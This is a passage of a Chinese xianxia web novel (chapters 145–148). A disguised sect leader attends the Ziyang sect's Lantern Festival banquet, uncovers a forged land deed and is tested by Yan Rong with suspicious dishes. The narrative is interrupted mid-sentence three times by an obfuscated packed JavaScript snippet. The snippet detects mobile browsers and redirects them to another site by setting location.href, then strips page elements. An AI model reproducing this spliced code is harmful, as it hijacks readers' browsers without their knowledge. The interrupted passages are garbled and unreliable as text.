承悦面色如常,遥遥指了指书房的方向,笑道:“我若是走了,这么多的文书,留给岚兄你一人处理吗?” “嗯,你说得很对。” 两人正打算一同回书房处理文书,远处云灵山的那方石头旁忽然传出人声:“两位仙友,且慢!” 145.上元灯如昼 邀宾述灯谜(一) 公仪岭朝着声音的方向望去,这才发现那边不知何时竟然也站了个人。 距离稍远,承悦只瞧见那人穿着一身紫衣,低声道:“大概是紫阳宗的弟子。” 公仪岭点了点头,对他道:“过去看看吧。” 他们还没走两步,那位仙僚就已经大汗淋漓地跑了过来,看起来是赶了不少路过来的,没一会儿便到了两人面前。 他今日来的不巧,正赶上云灵山大雪封山,在山脚下费了好大劲才走了一小段路,结果没过多久就瞧见山顶上的结界被撤下了,还以为是云灵山的人知道自己前来,所以撤下了结界,这才御风飞到山顶上。 待看清他口中仙友的面容后,这人稍稍愣神,没想到自己随口叫住的人就是公仪岚,回过神后,行礼道:“见过公仪宗主。” 公仪岭免了他的礼,又问道:“仙僚前来云灵山,不知所为何事?” 这紫衣仙僚从袖中摸出一张帖子,道:“在下是紫阳宗的弟子,受燕蓉师姐的命令,过来给云灵山递帖子。” 听他这样说,承悦了然道:“是上元节夜宴的帖子吧。” 仙僚拱手道:“正是。燕蓉师姐特意嘱托了,这次庆功宴办得隆重,各家宗主可提早几日前往紫阳宗,留几日再离开。” 公仪岭颔首道:“有劳仙友回去告诉燕姑娘,便说我们知晓了。” 紫衣仙僚将帖子和话都带到了,谢绝了承悦客气地让他留下来喝一杯茶的请求,便再次御风离开了。 公仪岭低着头,凝视了一会儿帖子上燕渊的亲笔所书。 上元夜宴吗?倒是个好机会。 正好愁没机会去各宗门打探地契签字的事情,上元夜宴紫阳宗遍请各大宗门前来,想必他借着云灵山宗主的名分,去各家拜访宗主是一件极为方便的事情。 顺便也能问一问燕蓉,燕家到底有没有彻查门内弟子。 思虑完这些后,他将帖子放入怀中,对承悦道:“我们先回去吧。” 承悦跟在他后侧,边走边问:“岚兄,你看这上元夜宴,可能够调查此事?” 公仪岭道:“自然,正巧那些新上任的宗主,我还尚未亲自拜会过,便从库房择一些礼物,一道给带过去吧。” “那……这些宗门的弟子们,怕是不好私下接触。” 公仪岭笑道:“既是这样大的夜宴,各家宗主少说也能带上三四十位弟子,届时你安排安排,去接触他们看看有没有问题就是。总归是需得提前几日抵达紫阳宗,这几日,也好方便我们行事了。” * 新春过后,又在山中待了十日,公仪岭才带着几十个师弟师妹们离开了云灵山。 这一次上元夜宴,紫阳宗布置的排场盛大,相比起中秋夜宴那次,也有过之而无不及。 公仪岭一行人向守门的弟子递了帖子,很快便过来了几个仙侍将他们带进去。 承悦见他们这次走的并不是庆阳殿的方向,就问道:“这位仙僚,今日不必去庆阳殿拜会宗主了吗?” 仙侍答道:“宗主的意思是,等众仙家都到齐了,再一同拜会。” 这一次他们来得早,距离上元夜宴还有个四五日的样子,估计也还没几家到紫阳宗。各家来得零散,燕渊这样想也是正常。 公仪岭点头,又问道:“现在有哪几家到了?” “回公仪宗主,抱元门司家、太微山齐家都到了。” 公仪岭应了一声,观察了一下仙侍带他们去的方向,大概燕蓉又是给他们安排住在了芙蓉院中。 等到仙侍领着众人在芙蓉院门口站定,公仪岭便道:“多谢仙僚带路了。” 仙侍平静道:“还请几位在此院中小坐片刻,等燕蓉师姐忙完,应当才会来寻你们。” 公仪岭皱眉思索了一会儿,并不知道燕蓉这次来找他们是要说什么。难不成是找到了紫阳宗的内奸,但是没办法与他们说,这才没写信,打算趁上元夜宴的机会来当面说? 承悦与他的想法差不多,便问那几个仙侍:“燕姑娘可是有何要事?” 仙侍道:“具体事宜,我等并不清楚,等师姐来时,你们再自行问她吧。” “好,我知道了。” 公仪岭挥手命仙侍退下,随后允了身后小弟子们打算出去转转的请求,才在石凳上坐下。 承悦替他斟了茶,从旁请示道:“岚兄,可要先去拜会那两位宗主?” 公仪岭垂眸看着茶杯上的氤氲热气,低声道:“齐兄那边不急,先去看看抱元门的那位新宗主吧。” 承悦顿了顿,但还是与公仪岭说了:“岚兄,我去查了查司沛白,夫人从前与他关系甚好,听抱元门的弟子说,这司沛白似乎是有些喜欢夫人的,你去的话,记得别提到这一茬……” 来之前,承悦也没跟他说要演情敌啊? 公仪岭拿着杯子的手一抖,不动声色地应下了。 芍药院内。 齐元白一手拿着茶盏,不着痕迹地观察着司沛白。 他这特意过来一趟,自然也是为了探探这位新宗主的虚实。 当时公仪岚前去宣安城调查的时候,齐元白也跟着去了,他现在也还惦记着阿岭蒙冤的事情,打算在上元夜宴看看有没有可疑的人。 不过,从目前来看,这位抱元门的新宗主,看起来不像是有心眼的人。 “齐宗主和燕宗主真是好生客气,如此厚礼,怎好叫我收下?” 正座上那位剑眉星目的少年此刻正笑意盈盈地看着底下的几人,原先一大早便起来待客的那点烦躁,在看见礼物的那一瞬间便消失无踪了。 齐元白心中暗叹,到底还是个少年人,什么心情都写脸上了,原先心里的那点警惕立刻消了大半。 不过,齐元白面上却依然带着笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176831|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容,从容道:“从前我刚继任之时,抱元门也曾赠过贺礼,如今司宗主继位,自当是该前来拜会,一点薄礼,司宗主莫要嫌弃才好。” 司沛白点了点头,又问旁边的燕煦泽:“不知燕宗主怎么没来?” 燕家的礼物是燕煦泽带过来的,听到司沛白这样问,他拱手行礼道:“我家宗主抽不开身,我便奉命过来,代为献礼。一点心意,您收下就好。” 司沛白微微一笑,挥手召来了旁边的师妹:“既然如此,我便收下了,劳烦燕兄代我转达谢意。阿沅,把东西带下去。” “是,宗主。” 他左边站着的那位叫阿沅的师妹应了一声,收好了东西。 司沛白抬起眼正想说什么,忽而便看见了齐元白凝视着那位师妹,神情有些怔愣。 司沛白有些讶然,毕竟他从没听说过齐元白对女色有什么兴趣,想再度仔细瞧瞧他的神色后,齐元白却已经恢复了正常。 他轻咳了一声,让那位师妹暂且留了下来,对齐元白试探道:“齐宗主,这位是我的小师妹,名唤阿沅,你们此前可曾见过?” 齐元白听到他这话,也惊讶了片刻,随即就反应过来司沛白怕是会错了意:“并未见过,只是她长得很像我的妹妹,方才我险些认错了,实在失礼。” 司沛白这才回忆起来,齐元白的妹妹似乎是在紫阳宗的那场大战中身亡的,顿时有些尴尬:“如此,是我想错了。” 燕煦泽突然轻声道:“从前仙考之时,我见齐宗主与齐清鸢感情很是深厚,她常常与我们提起你。” 齐元白很久没从他人口中再次听到齐清鸢的名字了,又是微微失神片刻,才回想起那时候,燕煦泽的确是和齐清鸢一个队伍去的冀阳城历练。 他颔首道:“她是我亲妹妹,感情自然是深的。若非我无能,那时候她也不会死了。” 燕煦泽似乎也想起了什么,淡笑道:“做兄长的都是如此。我也有一个妹妹,许久未见过她了,大约是能明白齐兄的心情的。” 司沛白是没有弟妹的,但底下这两人回忆着故人,他也免不得想起自家师姐。 司月吟对师弟师妹向来很好,他又是司月吟她爹的直系弟子,从前在抱元门的时候,两人时常见面,司月吟也会教他一些关于布阵的内容。 他本以为该是师姐继任宗主,谁知长辈们却迟迟未决定,还将她另嫁他人。 最后竟还身死魂消,死在了那场大战之中,连尸身都没回抱元门。 司沛白勉强露出笑容,对齐元白道:“等日后有机会,我再前去太微山亲自拜会令妹。” “司宗主有心了,我代清鸢谢过。” 三人正有一搭没一搭地闲聊着,门外的仙侍忽然进来通报:“司宗主,公仪宗主请见。” 司沛白一想,也知道他大概也是来拜会赠礼的,于是对仙侍点头道:“快请。” 146.上元灯如昼 邀宾述灯谜(二) 公仪岭跟随着仙侍进了芍药院后,才瞧见堂上两侧坐着的两人,稍稍愣神后,便与齐元白和燕煦泽也打了声招呼。 司沛白笑道:“三位一同前来,倒让我这院子热闹了些。” 公仪岭拱手,让承悦将带来的礼呈了上去,说道:“没想到齐兄和燕兄也在,也是凑巧。我这次过来,是特意给司兄道贺的。” 说罢,公仪岭打量了眼面前坐着的人。司沛白看起来不过十五六岁的模样,不过气度尚可,倒有几分宗主的样子。 但是相比起他大哥,那还是差了点意思的。 公仪岭在心里悄然下了结论。 司沛白听完他的话,脸上没什么表情,平静道:“公仪宗主有心了,原先我还打算过去见您,没想到您先过来了。” 公仪岭道:“无妨。” “公仪宗主来得正巧,方才我们三个正说到几位故人,我还有一事想问问公仪宗主。” 公仪岭眉目微凝,大概也猜到了这人想问什么,镇定道:“司宗主想问什么?” 司沛白面上显出几分严肃,注视着他的眼睛道:“公仪宗主,不知我师姐的后事,可都办妥了?” 果然他还是惦记着此事啊。 公仪岭默默想着,很郑重地答他:“司宗主且放心,都办妥了。” 司沛白见他认真,心中也安心了几分:“这样便好。虽说我私心并不愿师姐葬在云灵山,不过按照师姐自己的意愿,能够长眠云灵山,她想必是很欢喜的。” 公仪岭略微惊讶,原以为司沛白多少会因为司月吟的事情,责怪他几句,却不曾想他是这样的想法,倒是公仪岭出门前自己想多了。 他颔首道:“如此,我也好心安了。” 公仪岭这趟前来除了赠礼,也就是探探虚实,看看司沛白是个什么样的人,三人闲谈了一刻钟,喝了几盏茶后,燕煦泽便先行起身,打算告辞离开。 司沛白道:“燕兄不再多留一会儿了?” 燕煦泽与他行了礼:“紫阳宗内还有事务需要人手,我便不多留了。” 齐元白也没想多留,见燕煦泽都找借口离开了,当即也起身道:“司宗主,我还有事要与公仪宗主商议,便先行离开,不必相送了。” 公仪岭本就不太擅长应付这样的场合,听到齐元白将自己也捎上了,于是顺着坡就下,也同司沛白请辞了。 公仪岭出了门,就问他道:“齐兄还有何事要与我商议?” 齐元白侧目看了他一眼,低声道:“人多眼杂,我先随你回芙蓉院再说。” 公仪岭知道他是怕两个人的对话,被紫阳宗的这些仙侍听到。于是点头应声,领着人朝芙蓉院去了。 紫阳宗的地界上被燕渊施了法诀,他们两个人是没办法设结界的,故而公仪岭再小心谨慎也只能将众人屏退,在房中留下齐元白一人相商。 “你且说,我听着。” 齐元白在这时候神情才变得肃穆起来:“岚兄,你之前说的紫阳宗弟子可疑的事情,我也觉得颇有道理,不过,我看抱元门的弟子也一样有嫌疑,担心你有所疏忽,这才特意上门去试探了一番。” 公仪岭知道他这样说肯定有自己的道理,凝眉问道:“为何你怀疑抱元门的弟子?” “咳,这也只是我自己某一日的猜想,现在还做不得数。你就当是随意听听就好。” 公仪岭点头道:“你若是怀疑,我肯定会多加留意。” 齐元白道:“上次集议你提出来的那两桩事情,第一桩,当时安排誓师大会的也有抱元门的弟子,没准也有可能浑水摸鱼,第二桩的话,若是抱元门弟子拿了帖子再用传送阵法传出去的话,想必是能够做到将燕婉神不知鬼不觉的劫走。” 齐元白这样的想法,公仪岭之前的确没想到。 怔愣片刻后,他深吸了一口气:“我觉得你说得不错,是有这个可能。” 齐元白抓了抓头,遗憾道:“只可惜,这两家的弟子加起来足有五千人,燕蓉姑娘到现在也没查出来紫阳宗是不是有可疑的弟子,更不用说抱元门那边了,想要找到,着实费力。” 公仪岭道:“燕姑娘托仙侍与我说,会抽空过来跟我说事情,也不知道是不是此事有进展了。” 齐元白叹道:“我看难,要是有的话,刚刚燕煦泽出来的时候就该找机会跟我们说了。” 公仪岭想了想,觉得他说的有道理,心中忧愁。 “这几日,你可有什么想法吗?” 公仪岭听他问了,也就没打算瞒他,将来紫阳宗之前的打算与齐元白如实说了,顺道还提及了有关地契的事情。 这地契一直放在公仪岭身上贴身保管着,跟齐元白说完后,便拿出来给他看了一眼。 齐元白也是最为了解公仪岭笔迹的,接过来一看,当即就说:“这就是阿岭的字迹。” 公仪岭摇头道:“你看这地契上的年月,就知道此人定然是仿造的笔迹了。” 齐元白再次瞥了一眼纸上的内容,突然出声道:“阿岭十四岁的时候,写的字也不长这样。” 公仪岭一开始还没反应过来他这句话的意思,在脑中逐字逐句过了一遍后,才蓦然惊出一身冷汗。 他竟然把这样的事情给忽略了! 公仪岭自己的字迹变化,自己大约是没什么感觉的,至于承悦,最熟悉的是公仪岚的笔迹,自然也看不出来。 但是像齐元白这样从小到大,常年与他通信的人,看了一眼,便能意识到了不对的地方。 公仪岭慌忙拿回纸又看了一眼,脑海中模模糊糊,怎么也想不起来自己从前的字迹是如何的,思考了很久才问道:“阿岭从前的字迹,是如何的?” 齐元白指了几处笔画给他看,认真道:“岚兄你有所不知,阿岭小时候的笔迹会更加潦草一些,看起来很随性,但是后面他与我说,写的字太草被爹娘打了一顿,后面再写信给我的时候,字迹便比以前端正了一些。” 他这样一说,公仪岭也想起来了一些片段,是有这么一回事。 齐元白又仔细端详了一会儿上面的字迹,不确定道:“这上面的,我看像是仿照着阿岭十六七岁那会儿的字迹写的,具体的我得回太微山看看当时他给我寄的信才能确定。” 公仪岭也打算回去后翻看下自己从前写的那些书信和文章,但这个事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187688|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情不急在一时。 他攥着纸道:“看样子,这张地契是假的了。” 齐元白摇头道:“纸上面的时间应该是真的,只不过地契是仿造的,大约是将名字换成了阿岭的名字,故意放在醉春风让人找到的,当真是玩得一手好‘嫁祸’啊。” 现在想来,那时候他在宣安城没等到醉春风主人出面,多半就是因为偷的是假地契了。 公仪岭沉默许久,才低声道:“那宣安城的这条线索,恐怕就断了。” 齐元白安慰他道:“岚兄,不必太过担心,依我看,此人处心积虑买下醉春风,又造了长乐坊,并非单纯是为了造成尹鸿宣和阿岭偶遇,恐怕还有旁的目的。” “你为何这样想?” 齐元白内心也只是猜测,不能完全确定,因此也犹豫了一会儿,才与他分析道:“你刚才说,城中所有的人皮都不见了,我这才起了疑心。之前我们去长乐坊的时候,就看见里面赌输了的人不是被断手断脚,就是被剥皮抽筋。我觉得,这赌坊的主人意图不在挣钱,反倒是那些人皮才是……” 公仪岭皱眉道:“倒是有几分可能。不过,醉春风里那么多姑娘,他不对自己家这些下毒手,绕这么一大圈是作甚。” 齐元白道:“醉春风的姑娘们都是得接客的,要是少了一个两个,难免不会被人发现,传出风言风语,相比较起来,长乐坊那些更名正言顺。就是不知道,他们想要这些人皮做什么……” 两人琢磨了有两刻钟的时间,也没琢磨出个所以然来,直到外面守着的太微山弟子出声催促,齐元白这才结束了话头,起身出了门。 公仪岭低头看着手中早已凉透的茶水,忽然出声唤道:“承悦。” 承悦一直在院内守着,听到声音才推门而入:“宗主,有什么吩咐?” 公仪岭道:“这几日,你且带弟子在紫阳宗内各处留意一下,看有没有人皮吧。” 承悦一怔,继而反应过来,低声道:“宗主,你是怀疑宣安城的人皮都被他们安放在紫阳宗里了?” 公仪岭点头道:“宗门内弟子无事不可下山,他要是想拿这些人皮做什么,最大的可能性便是藏在紫阳宗内。” “我明白了,这几日,我会让弟子们多多留意的。” 承悦没再多问,领命离开。 之后接连三日,他都早出晚归,公仪岭也只能在晚上熄灯前,才能看到隔壁亮起的烛光。 燕蓉是第四日早上来的芙蓉院。 若非门口的仙侍通传,公仪岭几乎要忘了燕蓉还得来找他这件事。 将人请了进来以后,公仪岭本以为燕蓉会开门见山,与他说调查的事情,谁知燕蓉一进门,先是招呼了芙蓉院内的仙侍给自己奉茶,随后又让自己带来的仙侍扛来了一张大桌子,板板正正地放在了堂中央。 公仪岭完全不明白她是什么意思,咳了一声,试探问道:“燕蓉姑娘,这是何意啊?” 燕蓉凝视着他的面容,淡笑道:“上次玄霄殿大战,公仪宗主曾出手救过我一命,还没来得及道谢,这次特意前来,一来是谢公仪宗主救命之恩,二来,是我有事需得公仪宗主帮忙参谋。” 147.上元灯如昼 邀宾述灯谜(三) 听到燕蓉的说的话,公仪岭心中一惊,没想到自己当时那样小心,还是被她发觉自己在傀儡堆里出手救下她。 只是不知她有什么事情需要自己参谋。 “举手之劳,不足挂齿。”公仪岭摆了摆手,看着面前这张大桌子又问道,“不知燕姑娘是有什么事情需要我帮忙的?” “好说。” 燕蓉微微抬手,外面等候的仙侍立刻进来,每个人手中还端着白玉盘子,上面摆着一道精致可口的菜。 公仪岭一头雾水,眼看着几十位仙侍把菜放满了整张桌子才退下,指着菜问道:“燕姑娘,这又是何意?” 燕蓉也不含糊,等菜全部上齐了以后,将手中的册子递到了公仪岭手上:“看看吧。” 那册子上端端正正写了菜谱两个字,公仪岭本以为她是为了掩人耳目,才做了这一出戏,可哪知接了册子展开一看,这上面写的竟然真的全是菜名。 雕花蜜饯、松鹤延年、祥龙双飞、金丝酥雀、龙井竹荪…… “菜谱?” 燕蓉点头,又递给了他一双箸:“嗯,这是我准备的上元夜宴菜谱,想请公仪宗主尝尝这些菜味道如何?” 公仪岭拿着箸,竟有些不知所措,迟疑了许久,才轻声道:“燕姑娘,你莫不是记错了,膳食之事我并不擅长,从前也是阿岭喜好这方面。” “嗯?” 燕蓉闻言失笑:“公仪宗主误会了,我想着公仪岭他从前大概经常给家人做东西吃,故而想请公仪宗主品鉴,看看味道如何。” 公仪岭稍稍松了口气:“既如此,那我便不客气了。” 浅尝了几道美食,公仪岭心中就已经有了定夺。紫阳宗的膳食向来是不错的,便是自己亲自去做,恐怕也做不得这样精致。 公仪岭当即就道:“我觉得这些都不错。” 燕蓉了然,笑道:“上元夜宴一共需得五十八道菜肴,现在菜谱上仅有五十七道,这还有一道,便是想问问公仪宗主的想法,看看加上什么合适。” 公仪岭再次看了一眼菜谱,见上面的序号果然到了五十七便结束了,仔细思量了一会儿后,建议道:“我看这菜谱上,像是少了用于滋补身体的菜品。” 燕蓉赞许道:“公仪宗主好眼力,的确,这最后一道菜品,我还未下决定,便让膳房做了两道,想让公仪宗主择一择,看看哪个更合适。” 她说着,对身后的仙侍吩咐了一句,很快又有两道不同的菜被呈了上来。 公仪岭扫了一眼白玉盘子上的两道菜肴,见上面都被盖子遮住了,就问道:“这是?” 燕蓉温声与他介绍:“这第一道,名唤龙凤呈祥,是用了龙眼和凤梨制成,公仪宗主尝尝?” 她揭开了那汤盅的盖子,上头炖的入味了的果然是龙眼和凤梨,连枸杞摆放的位置都颇有讲究。 这样熟悉的东西,公仪岭只觉得额头像是有一滴冷汗流下。 他勉强镇定地用汤勺喝了一口,道:“的确不错,不知第二道又是什么?” 不管怎么说,他定然是不能选这第一道的,这样只会让人察觉到他身份不对。 燕蓉再次揭开了第二道菜肴的盖子,悠悠道:“这第二道菜,名唤冰糖甲鱼,顾名思义,是用了冰糖和甲鱼制成的。” 盖子揭开,露出玉盘内那只被掀开了壳的甲鱼,上面还用冰糖勾兑了汤汁,若是他没养三只王八的话,或许这对公仪岭来说,也是一道上品菜肴。 “……” 公仪岭一时沉默着不知道该如何说,但是顶着燕蓉的目光,他也只能硬着头皮夹了一块放在嘴中,艰难地咽下后,才道:“尚可。” 事情到这样的地步,他早就看出来,燕蓉这一趟醉翁之意不在酒,大约是自己出手搭救的那一下,让她起了疑心,特意想了个办法,过来试探自己的。 但是,公仪岭已经尽自己所能,让脸上的表情不露出丝毫破绽了,剩下的只能在心里祈求她没看出自己有问题了。 然而公仪岭做了一堆心理准备,刚一抬眼,看见的却是燕蓉正常的表情,跟平日里没半分区别。 这让他一时间有些恍惚。 难不成,是自己想多了,这两道菜只是巧合? 那也实在是太巧了…… 公仪岭也没敢妄下定论,而对面燕蓉在这时候开口道:“公仪宗主,觉得这两道菜,哪道更为合适?” 原先公仪岭还笃定了主意要选第二道,但现在却又不得不犹豫了。 要是选了第二道,到时候上元夜宴他肯定是下不去口的,但如果现在就选了第一道,那好像就更加明显了…… 犹豫再三,公仪岭还是狠了狠心,对她道:“我看,还是上这道冰糖甲鱼更为合适。” 燕蓉看起来有些意外,问他:“为何公仪宗主会选这个?” 这理由当然是公仪岭方才情急之下随便扯了个,当即有理有据地解释道:“我看这菜谱上也有旁的羹汤,若是再多一道只怕是重复了,还是上个荤菜更合适些。” 燕蓉思虑了片刻,似乎觉得这个说法十分合理,马上就拍板了此事,对身后的仙侍道:“你去与膳房说一声,便说这第五十八道菜加上冰糖甲鱼即可。” 仙侍领了命令,即刻去办。 公仪岭见她不像是起了疑心的样子,暗自松了口气。 既然燕蓉来都来了,他定然不能让她这样就走了,还是得问问关于紫阳宗内调查的事情。 “燕姑娘,这几日调查紫阳宗内的弟子们,可有什么线索了?” 燕蓉正指挥仙侍们收拾,闻言,她的手微微停顿,继而又恢复了正常,回答道:“并没有找到。” 公仪岭一直凝视着她,这样细微的动作并没有逃过他的眼睛。 但这些仙侍都在旁边,他也不方便多问几句,何况,公仪岚与燕蓉并不算熟悉,仅仅只是点头之交,他若是追问的话,反倒让人起疑。 于是公仪岭无比自然地接了一句:“这样啊,倒也无妨,这几日辛苦燕蓉姑娘忙碌此事了。” 燕蓉对这样的事情早已习以为常,只是笑了笑:“一般辛苦罢了,在紫阳宗这么久,早就习惯了。” 公仪岭也知她在紫阳宗的不易,从前也问过燕蓉为何投入紫阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196904|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宗门下,那时候她说的是,她也没得选,只能做好自己的本分。 燕蓉说完后,那些仙侍们也都收拾完的白玉盘子,将桌子给搬了下去,她四下扫了一眼,确认堂内没再留下什么东西,这才对公仪岭行了礼:“多谢公仪宗主相助,我先告辞,明日宴会是在戌时开始,公仪宗主莫忘了。” 公仪岭点头应下:“自然不会忘记,明日我会带着弟子们准时到场。” 虽然燕蓉说是次日戌时宴会才开始,但场地布置往往从白日里就开始了。 大清早的公仪岭就醒来了,倒也不是那些仙侍太过吵闹,将公仪岭吵醒,而是公仪岭听到了院内弟子们聊天的声音,这才醒了过来。 起床一看时辰,才辰时。 这一批的师弟师妹们大约是第一次前来紫阳宗,故而显得兴奋异常,正叽叽喳喳地商量着要不要去紫阳殿那边看看布置地如何了。 等他们看见公仪岭出了房门,这才噤了声,十分恭敬地对他请了安。 承悦见他们这样,不由笑道:“方才一个个都还聊得起劲,见到人就安静了?” 公仪岭摆摆手:“无妨,想出去玩便去吧,别在外面惹事就行。” “多谢宗主!” 众弟子喜形于色,纷纷与他告退,结伴离开。 公仪岭揉了揉太阳穴,想起了一事,随口问承悦:“承悦,燕宗主那边可有说了什么时候前去拜会?” 他即便私心再看不惯燕渊,但对方至少担了个宗主的名头,他也不得不对燕渊以礼相待。 这次上元夜宴毕竟还是紫阳宗做东,他们各家宗主理应在开宴前拜会宗主,只是不知为何,这都过了五日,燕渊那边却是一点消息都没传过来,就连齐元白也没收到让他们过去的传话。 承悦皱眉道:“从未有仙侍前来通传,不过,今晨我听仙侍们说,似乎是燕宗主的意思,免了各家的拜会,大概是嫌麻烦吧。” 承悦这样说,应该就没错了,这样的处事风格,倒也像是燕渊能做出来的。 公仪岭点了点头,没再多说什么。 承悦见他没问别的,思考后还是将这几日暗查的结果说了说:“这几日,我们没有在紫阳宗内查到有人皮,至于九宫青狻猊,我听紫阳宗的弟子说,已经被他们一把火烧得只剩下骨灰了。” 这样的话让公仪岭听得有些恍神,顿了顿才道:“青狻猊的事情,本就没进展,怎么还……” 承悦叹息道:“九宫青狻猊毕竟体型太大,身上又被下了剧毒,总这样放在无定涯也不是个办法,他们商议过后,这才将尸身给处置了,免得影响其他生灵。” 公仪岭默然无言,心中也知他们的为难之处,便没有出言责怪。 见公仪岚看起来心情不好的模样,承悦也不能表现地太过黯然,于是笑道:“总归今日无事,不如我们也去紫阳殿瞧一瞧他们布置的场景?说起来,上次中秋夜宴的时候,我便觉得他们布置得别出心裁,挺有意思。” 公仪岭回忆起了中秋夜宴的时候,嘴角也不由泛起笑意。 “既是上元节,想必定然是很盛大的吧。” 148.上元灯如昼 邀宾述灯谜(四) 去往紫阳殿的那一条路上几乎都悬满了色泽不同的灯笼。也不知是谁给出的主意,每个灯笼都按照各家的颜色以此排列过去,挂满了每一条道路,就连每个悬空的岛屿之间的仙桥旁边,也都悬浮了明灯。 承悦边走边“啧啧”感叹:“咱们宗门的红灯笼是排在第三个的呢。” 排第一个自然是紫阳宗的紫灯笼了,第二个则是抱元门的黄色灯笼。公仪岭觉得这样排挺合理的,点头道:“不错,希望以后咱们也能排第一个。” 承悦道:“这还不简单,明年就轮到咱们办节庆夜宴了,到时候想挂第几个就挂第几个。” 公仪岭这才想起来轮到自家办宴席这件事,顿时大感头痛。 从前这样的事情都是他娘和承悦操办的,即便是公仪岚也只是从旁协助,更别说自己了,也就是宴席当天上来占个位置吃口饭的工夫,连菜谱都不过目。 好在离下个节庆似乎还有不少时日,到时候找借口让承悦搞了就是。 公仪岭琢磨完,觉得可行,于是露出笑容:“也好。” 承悦看着那个笑容,也是恍惚了片刻,险些以为自己旁边站着的是公仪岭。只不过他的那笑容转瞬即逝,让承悦开始怀疑是不是自己最近办事办糊涂了,不然怎么总是认错人。 过了仙桥后,便到了紫阳宗最大的主岛上。 两人一路走到中央的那恢弘大殿,刚靠近了些,就瞧见了来来往往脚步不停歇的仙侍们,每位仙侍还都托了个甜点盘子,上头不是瓜果便是糕点,看着就勾人食欲。 要是从前的公仪岭,看见这样一排吃食从自己旁边飘过去,定然是得手痒顺上一两块尝尝鲜,但是现在…… 他只能看着队伍的最后那位仙侍也和自己擦肩而过,只留下空气中那点淡淡的香甜气息。 承悦看着身边人目光停留,诧异道:“宗主?” 公仪岭忙收回目光,正色道:“忽然想到了阿岭,他要是在的话,肯定忍不住就拿来尝尝了。” 承悦被他说得也想起了此事,失笑道:“啊,那阿岭确实常常这样。” 公仪岭将承悦勉强糊弄了过去,心中才叹了口气。 果然,他想演出大哥的样子太难了,过了这么久还是错漏百出。 正想着,就听远处大殿门口传来熟悉的声音。 “嗯,这张桌案再过来点,每张桌子都排整齐了,不要弄歪了。” “每家宗主的桌案旁边留一个位置出来就行,多了大殿内也都摆不下,对,其他弟子们的桌案都挪到广场上去,不要耽误时辰了。” “依照宗主说的,正座旁边留两张桌案给我和大师兄就好,之后开宴的时候,上菜也按照顺序上,莫记错了。” 听到这,两人也都知晓了是谁在说话。 承悦感慨道:“燕姑娘果真忙得不行,上上下下全都得盯着,这样大的量,怕是我都弄不过来呢。幸亏我是在云灵山拜师,而不是在紫阳宗,不然的话,可得累死。” 公仪岭想起燕蓉从前随口说的话,笑道:“我记得她从前提过,说自己要不是在紫阳宗的话,定要来云灵山与你争一争这管事的位置。” 承悦立刻摆手:“别,我直接认输,要是能有人来接我的班就好了,这差事可不是常人能做的。” 依照着燕蓉有条不紊的指示,几十号仙侍各司其职,大殿内和广场上很快就摆满了坐席和餐具。 “这一次,他们倒是没变条河出来。” 没了那条术法幻化出来的河流,广场上的桌案摆的倒是更加整齐了,每一张都端端正正地面朝大殿,连桌案和桌案间的间隔都分毫不差。 承悦遗憾道:“我还觉得那河挺好看的,大概是因为要放河灯的缘故,上次才变出来的吧。” 公仪岭不置可否:“嗯,中秋夜宴年年都放河灯,上元夜宴应该会有别的活动,晚上看看便知。” 他们两个人光看着不干活,站在一帮仙侍中十分惹眼,很快燕蓉就注意了过来,目光落到两人身上,明显高兴了起来。 见她步履匆匆赶过来,双眼还流露出一种承悦最熟悉的、抓到劳动力的一抹精光,承悦顿感不妙,说话也带了些结巴:“宗、宗、宗主,我怎么觉得有点不对啊?要不我们先走?” 公仪岭还没意识到他说的不对究竟是哪种不对,“啊”了一声,还没反应过来,燕蓉就已经走到了跟前。 他马上解释道:“燕姑娘,我们俩就是过来随便看看。” 燕蓉“嗯”了一声,从容道:“看看嘛,不打紧,这来都来了,顺便帮我点小忙,也无妨吧?” 果然如他所料。 承悦在心中深深叹了口气,见公仪岚没有离开的打算,便开口问道:“燕姑娘,什么忙啊?” 这也不能怪公仪岭,他要还是自己的身份的话,这会儿早拉着承悦逃之夭夭了,但他思考了半天,得出了自己大哥肯定不会坐视不管的结论,只好硬生生站着没动。 不过,话又说回来,燕渊他至少免了各家的拜会,也算省了他们一桩事情,现在帮一下宴席上的小忙,似乎也不是不能接受。 燕蓉手上有一沓册子,随手翻了翻以后,取出了其中几本塞到两人手上,然后扬手指了指广场上的所有桌案。 “这些册子上面写的是这次来参宴的所有宗门弟子的名单,你们跟桌案的数量核对核对,看看是否有错漏。” 这些册子看着不厚,全展开却是极长的一条,压根都看不过来。 